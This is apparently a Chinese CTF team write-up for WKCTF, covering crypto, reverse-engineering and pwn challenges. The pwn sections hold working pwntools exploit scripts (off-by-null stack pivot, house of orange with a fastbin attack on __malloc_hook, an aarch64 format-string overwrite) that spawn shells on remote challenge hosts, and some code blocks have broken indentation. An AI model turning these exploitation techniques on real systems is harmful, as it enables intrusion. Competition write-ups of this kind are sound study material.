

比赛队伍

RE:从爆零开始的ctf坐牢生活

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比赛题目

Crypto

easy_random

MT19937还原随机数，建矩阵跑就完事，最后回复一下seed就有key了

```
#!/bin/sage
import Crypto.Cipher.AES as AES
from Crypto.Util.number import *
from tqdm import tqdm
from random import Random
from tqdm import tqdm

prng = Random()
numlength = 2496
length = numlength * 8
olength = 19968

def myState():
    state = [int(0)]*624 + [int(624)]
    i = 0
    while i < olength:
        ind = i >> 5
        expont = i & 0x1f
        state[ind] = int(1<<(31-expont))
        s = (int(3),tuple(state),None)
        yield s
        state[ind] = int(0)
        i += 1

def getRow():
    rng = Random()
    gs = myState()
    for i in range(olength):
        s = next(gs)
        rng.setstate(s)
    # print(s[1][0])
    vec = []
    for _ in range(4): rng.getrandbits(32)
    for _ in range(numlength):
        tmp = rng.getrandbits(8)
        for k in range(7, -1, -1):
            vec.append((tmp >> k) & 1)
    row = vector(GF(2),vec)
    yield row

def buildBox():
    b = matrix(GF(2),olength,length)
    rg = getRow()
    for i in tqdm(range(olength)):
        b[i] = next(rg)
    return b

def backfirst(state):
```

```

high = 0x80000000
low = 0x7fffffff
mask = 0x9908b0df
tmp = state[623] ^^ state[396]
if tmp & high == high:
    tmp ^= mask
    tmp <<= 1
    tmp |= 1
else:
    tmp <<= 1
return (1 << 32 - 1) | tmp & low, tmp & low

def test():
    # 这里都是用的MSB,如果采用不同的二进制位(如LSB)最后的矩阵T 也会不同
    with open("random.txt", "r") as file:
        ipt = file.readlines()
    vec = []
    for i in ipt:
        tmp = int(i)
        for j in range(7, -1, -1):
            vec.append((tmp >> j) & 1)

    leak = vector(GF(2),vec)

    b = buildBox()
    x = b.solve_left(leak)
    x = ''.join([str(i) for i in x])
    state = []
    for i in range(624):
        tmp = int(x[i*32:(i+1)*32],2)
        state.append(tmp)
    #prng.setstate(originState)
    #prng.getrandbits(1)
    #originState = [x for x in prng.getstate()[1][:-1]]
    #print(originState[1:] == state[1:])
    #    print(state)
    return state, b

state, b = test()
seed1, seed2 = backfirst(state)

state1 = [seed1] + state[1:]
state2 = [seed2] + state[1:]

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```
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```
prng = Random()
prng.setstate(tuple([3, tuple(state1), None]))
key = prng.getrandbits(128).to_bytes(16, 'little')

enc =
b'a\x93\xdc\xc3\x90\x0c\xfa\xfb\x1c\x05$y\x16:\xfc\xf3+\xf8+%\xfe\xf9\x86\xa3\x1
7i+ab\xca\xb6\xcd\r\xa5\x94\xeavM\xdeo\xa7\xdf\xa9D\n\x02\xa3'

print(AES.new(key, AES.MODE_ECB).decrypt(enc))
```

另附矩阵文件:

<https://kdocs.cn/l/cvWtBfGCvu9e>

参考链接: <https://www.anquanke.com/post/id/205861>

fl@g

简单的容斥原理，设A B C D分别为包含flag FLAG f14G 7!@9 (不可能出现，可以忽略) 的所有排列集合，则根据容斥原理有：

$$|A \cup B \cup C \cup D| = |A| + |B| + |C| + |D| - |A \cap B| - |A \cap C| - |A \cap D| - |B \cap C| - |B \cap D| - |C \cap D| + |A \cap B \cap C| + |A \cap B \cap D| + |A \cap C \cap D| + |B \cap C \cap D| - |A \cap B \cap C \cap D|$$

其中 $A \cap C = B \cap C = \emptyset$ ，剩余的就是把某几组四位看成一个整体作全排列。

$|X| = (L-3i)!$ ，其中L是字串总长，i是X中取交集的集合个数 ($1 \leq i \leq 4$)

```
from Crypto.Util.number import *
import string
from sympy import *
from itertools import *
from math import factorial
table = string.ascii_letters + string.digits + "@?!*"

length = len(table)
a1 = factorial(length - 4 + 1)
a2 = factorial(length - 8 + 2)
a3 = factorial(length - 12 + 3)
a4 = factorial(length - 16 + 4)
num = 4 * a1 - (6 - 2) * a2 + (4 - 3) * a3 - (1 - 1) * a4
p = nextprime(num)
e = 65537
n =
101793747237473737573543318034864918597016443300066621451851308478395716477039182
664781128377550045880851657509977498936469338733987342361536377249851373045394530
62753420396973717
c =
138813247557774250130865289832676162283792110370769868205129527738293003524457588
621123408153494687019508179711699902033551505881072161229077212788924549772368013
3813796299680596
q = n // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))
```

Pwn

baby_stack

栈溢出存在off by null，可以让rsp跳到比较低的位置。提前在栈的低位置布置好one gadget以getshell

```
#!/bin/python3

from pwn import *

def init(mode:list, ip:str, gdb:bool):
    if mode[0] == "debug":
        context.log_level = 'debug'
        context.timeout = 300
```



```

else:
    context.log_level = 'info'
    context.timeout = 3

context.os = 'linux'

if mode[1] == 64:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

elf = libc = None

try:
    elf = ELF("/home/kali/pwn")
    libc = elf.libc
finally:
    pass

try:
    #libc = ELF("/home/kali/libc.so")
    pass
finally:
    pass

if mode[0] == "attack":
    if ip:
        if ":" in ip:
            ip = ip.split(":")
        else: ip = ip.split(" ")
        c = remote(ip[0], int(ip[1]))
    else:
        c = process(["/home/kali/pwn"])
    else:
        c = gdb.debug(["./pwn"], gdbscript=gdbscript)

    return c, elf, libc

ip = "110.40.35.73 33644"

mode = ["debug", 64]
mode = ["attack", 64]

gdbscript = '''
b * $rebase(0x12d5)
set follow-fork-mode parent
c
'''

c, elf, libc = init(mode, ip, gdbscript)

c.sendline(b'')
c.sendlineafter(b'number: ', str(0x6).encode())
c.recvuntil(b'is: ')
libc.address = int(c.recv(12).decode(), 16) - 0x3ec7e3
success(f"libcbase = {hex(libc.address)}")
c.sendlineafter(b'? ', b'256')

```

```
c.send(p64(libc.address + 0x4f2a5) * 32)
```

```
c.interactive()
```

easy_heap

没有free可以通过溢出修改topchunk的大小，并申请比topchunk大的块使其被置入unsorted bin当中，再申请并切割这个chunk，可以泄露libc（house of orange）。如果对修改后的topchunk的大小控制得当，可以将其在被释放时置入fastbin中，此时可以利用fastbin attack在__malloc_hook写one gadget来getshell

exp:

```
#!/bin/python3

from pwn import *

def init(mode:list, ip:str, gdb:bool):
    if mode[0] == "debug":
        context.log_level = 'debug'
        context.timeout = 300
    else:
        context.log_level = 'info'
        context.timeout = 3

    context.os = 'linux'

    if mode[1] == 64:
        context.arch = 'amd64'
    else:
        context.arch = 'i386'

    elf = libc = None

    try:
        elf = ELF("/home/kali/pwn")
        libc = elf.libc
    finally:
        pass

    try:
        #libc = ELF("/home/kali/libc.so")
    finally:
        pass

    if mode[0] == "attack":
        if ip:
            if ":" in ip:
                ip = ip.split(":")
            else: ip = ip.split(" ")
            c = remote(ip[0], int(ip[1]))
        else:
            c = process(["/home/kali/pwn"])
```

```

else:
    c = gdb.debug(["./pwn"], gdbscript=gdbscript)

    return c, elf, libc

ip = "110.40.35.73 33746"

mode = ["debug", 64]
mode = ["attack", 64]

gdbscript = '''
    b * 0x401534 if *(int*)($rbp - 0xc) == 0
    set follow-fork-mode parent
    c
    libc
'''
c, elf, libc = init(mode, ip, gdbscript)
def cmd(cmdid):
    c.sendlineafter(b'>\n', str(cmdid).encode())

def add(size, data):
    cmd(1)
    c.sendlineafter(b'Size:', str(size).encode())
    if type(data) == str: data = data.encode()
    c.sendlineafter(b'Content:', data)

def show(idx):
    cmd(3)
    c.sendlineafter(b'Index:', str(idx).encode())

def edit(idx, size, data, line = True):
    cmd(2)
    c.sendlineafter(b'Index:', str(idx).encode())
    c.sendlineafter(b'Size:', str(size).encode())
    if type(data) == str: data = data.encode()
    if line: c.sendlineafter(b'Content:\n', data)
    else: c.sendafter(b'Content:\n', data)
context.log_level = 'debug'
add(0x3f0, b'a')#0
add(0x3f0, b'a')#1
add(0x3f0, b'a')#2
add(0x078, b'a')#3

edit(3, 0x78 + 8, flat(cyclic(0x78), 0x381), False)

add(0x3f0, b'a')#4
add(0x208, b'')#5

show(5)
libc.address = u64(c.recvuntil(b'\0\0')[-8:]) - 0x3c4e0a
success(f"libcbase = {hex(libc.address)}")
pause()
add(0x2f0, b'a')#6

```

```

add(0x2f0, b'a')#7
add(0x1f0, b'a')#8
add(0x360, b'a')#9
pause()
edit(9, 0x360 + 0x10 + 8, flat(cyclic(0x368), 0x091))
pause()
add(0x460, b'a')#10
edit(9, 0x360 + 0x18, flat(cyclic(0x368), 0x71, libc.sym['__malloc_hook']-0x23),
False)
show(0)
add(0x68, b'a')#11
ogg = libc.address + 0xf1247

add(0x68, b'a'*0x13 + p64(ogg))#12

cmd(1)
c.sendline(b'10')

c.interactive()

```

something_changed

没感觉到改变了什么，仍然是栈地址固定的格式化字符串，注意远程和本地的栈基址不一样而且返回地址偏移不同就行了，尝试两次就返回到backdoor了

exp:

```

#!/bin/python3

from pwn import *

gdb = '''
    b * 0x400854
    set follow-fork-mode parent
    c
'''

context.arch = 'aarch64'
context.log_level = 'debug'
#c = gdb.debug("./pwn", gdb)

c = remote("120.79.91.95", 3332)
backdoor = 0x400770
c.sendline(f'%{backdoor}c%17$11n'.encode().ljust(0x18, b'\0') +
p64(0x5500800c18)) #这里最后的地址要尝试几次

#c.send(f'%8$p'.encode().ljust(39, b'\0')) #查看远程栈基址

c.interactive()

```


Reverse

so_easy

```
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;

/* renamed from: com.so.easy.MainActivity */
/* loaded from: classes.dex */
8 public class MainActivity extends AppCompatActivity {
    private EditText inputField;
    private Button submitButton;

    public native int soEasy(String str);

    static {
13     System.loadLibrary("easy");
    }

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity
20 public void onCreate(Bundle bundle) {
21     super.onCreate(bundle);
22     setContentView(C00879R.layout.activity_main);
23     this.inputField = (EditText) findViewById(C00879R.C00882id.input_field);
24     Button button = (Button) findViewById(C00879R.C00882id.submit_button);
25     this.submitButton = button;
26     button.setOnClickListener(new View.OnClickListener() { // from class: com.so.easy.MainActivity.1
27         @Override // android.view.View.OnClickListener
28         public void onClick(View view) {
29             if (MainActivity.this.checkInput(MainActivity.this.inputField.getText().toString())) {
30                 Toast.makeText(MainActivity.this, "Correct!", 0).show();
31             } else {
32                 Toast.makeText(MainActivity.this, "Try Again!", 0).show();
33             }
34         }
35     });
36 }

    /* JADX INFO: Access modifiers changed from: private */
41 public boolean checkInput(String str) {
    return soEasy(str) == 16;
}
}
```

代码 Smali Simple Fallback ☐ Split view

加密逻辑在soEasy中，查看lib:

```

25  memset(v20, 0, sizeof(v20));
26  v21 = 0;
27  if ( *v6 )
28  {
29      v8 = strlen(v6);
30      v9 = 0LL;
31      do
32      {
33          v10 = *(_QWORD *)&v7[v9];
34          v11 = 255;
35          do
36          {
37              v12 = (2 * v10) ^ 0x71234EA7D92996F5LL;
38              if ( v10 >= 0 )
39                  v12 = 2 * v10;
40              v13 = (2 * v12) ^ 0x71234EA7D92996F5LL;
41              if ( v12 >= 0 )
42                  v13 = 2 * v12;
43              v14 = (2 * v13) ^ 0x71234EA7D92996F5LL;
44              if ( v13 >= 0 )
45                  v14 = 2 * v13;
46              v15 = (2 * v14) ^ 0x71234EA7D92996F5LL;
47              if ( v14 >= 0 )
48                  v15 = 2 * v14;
49              v10 = (2 * v15) ^ 0x71234EA7D92996F5LL;
50              if ( v15 >= 0 )
51                  v10 = 2 * v15;
52              v11 -= 5;
53          }
54          while ( v11 );
55          *(_QWORD *)((char *)v20 + v9) = v10;
56          v9 += 8LL;
57      }
      while ( v8 > v9 ):

```

每次与 key = 0x71234EA7D92996F5 异或后左移一位,

明文在后面,

```

#include <stdio.h>
#include <string.h>

void dec(unsigned long long *enc, unsigned long long *dec, size_t len)
{
    unsigned long long tmp;
    int k;
    size_t i = 0;

    while (i < len)
    {
        tmp = enc[i / 8];

        for (k = 0; k < 255; ++k)
        {
            if ((tmp & 1) == 0)
                tmp >>= 1;
            else
            {
                tmp = (tmp ^ 0x71234EA7D92996F5LL) >> 1;
                tmp |= 0x8000000000000000;
            }
        }

        *dec++ = tmp;
        i++;
    }
}

```



```

t 11 sub_4011A7((wchar_t *)L"flag. "),
t 12 v9 = 0;
t 13 sub_40105F(std::wcout, v8);
14 sub_4013A7();
15 LOBYTE(v9) = 1;
16 sub_4013A7();
17 LOBYTE(v9) = 2;
18 sub_40132F(std::cin, v7);
19 v3 = (const char *)sub_4014E7(v7);
20 if ( !strcmp(v3, "flag{ed1d665e6516a37ab09f0b7a40}") )
21 {
22     v4 = sub_401389(std::wcout, (wchar_t *)L"right");
23     std::wostream::operator<<(v4, sub_4015FA);
24 }
25 LOBYTE(v9) = 1;
26 sub_401357(v6);
27 LOBYTE(v9) = 0;
28 sub_401357(v7);
29 v9 = -1;
30 sub_4014F1(v8);

```

fake_flag, 实则为加密的key,
fake_strcmp, 实则为加密函数

魔改后的加密逻辑:

```

29 srand(v2 + 89);
30 for ( i = 0; i < 16; ++i )
31 {
32     v3 = rand();
33     sub_4013E3(v3); // 生成16字节长的伪随机, 贴在input后
34 }
35 if ( sub_401663(input) != 48 ) // len(input) + len(rand) == 48
36     exit(99);
37 for ( j = 0; j < 16; ++j )
38 {
39     v4 = *(char *)sub_4010DC(input, j);
40     v5 = *(char *)sub_4010DC(input, j + 32) ^ v4;
41     v6 = (_BYTE *)sub_4010DC(input, j);
42     v7 = (_BYTE *)sub_4010DC(input, j + 32);
43     sub_4013E3(~(*v7 & v6) & v5); // 等价于: enc[i] = input[i] ^ rand[i] (i < 16)
44 }
45 for ( k = 16; k < 32; ++k )
46 {
47     v8 = *(char *)sub_4010DC(input, k);
48     v9 = *(char *)sub_4010DC(input, k - 16) ^ v8;
49     v10 = (_BYTE *)sub_4010DC(input, k);
50     v11 = (_BYTE *)sub_4010DC(input, k - 16);
51     sub_4013E3(~(*v11 & v10) & v9); // 等价于: enc[i] = input[i] ^ input[i - 16] (16 < i < 32)
52 }
53 for ( m = 0; m < 32; ++m )
54 {
55     v14 = (_BYTE *)sub_4010DC(enc, m);
56     *v14 -= (_BYTE *) (m + a2);
57 } // enc[i] -= key[i]
58 // key是main中strcmp的第二个参数
59 sub_401460();
60 enc_copy = (const char *)sub_4014E7(enc);
61 v15 = strcmp(enc_copy, &enc_flag);
62 LOBYTE(v22) = 0;
63 sub_401357(enc);

```

解密:

```
key = r"flag{ed1d665e6516a37ab09f0b7a40}"
```

```
enc = [
    0x80, 0xD3, 0x6F, 0xFF, 0x15, 0x03, 0x98, 0x8C, 0xB4, 0x5B,
    0x96, 0xC0, 0x59, 0xAC, 0x18, 0xDF,
    0x2D, 0xCE, 0x3F, 0xFB, 0xC4, 0xED, 0xD8, 0xD2, 0xA8, 0x2D,
    0xF8, 0x23, 0x9F, 0x22, 0x25, 0xCE
]
```

```
rand = [
    0xB1, 0x74, 0x93, 0x32, 0xD6, 0x13, 0xCC, 0x85, 0x20, 0xA8,
    0xF4, 0x96, 0x8A, 0xD2, 0x7D, 0x26,
]
```

```
flag1 = [0] * 32
```

```
for i in range(32):
    enc[i] = (enc[i] + ord(key[i])) % 256

for i in range(16):
    flag1[i] = enc[i] ^ rand[i]

for i in range(16, 32):
    flag1[i] = enc[i] ^ flag1[i - 16]

for i in flag1:
    print(chr(i), end = '')
```

WKCTF{08898c40064d1fc4836db94fe}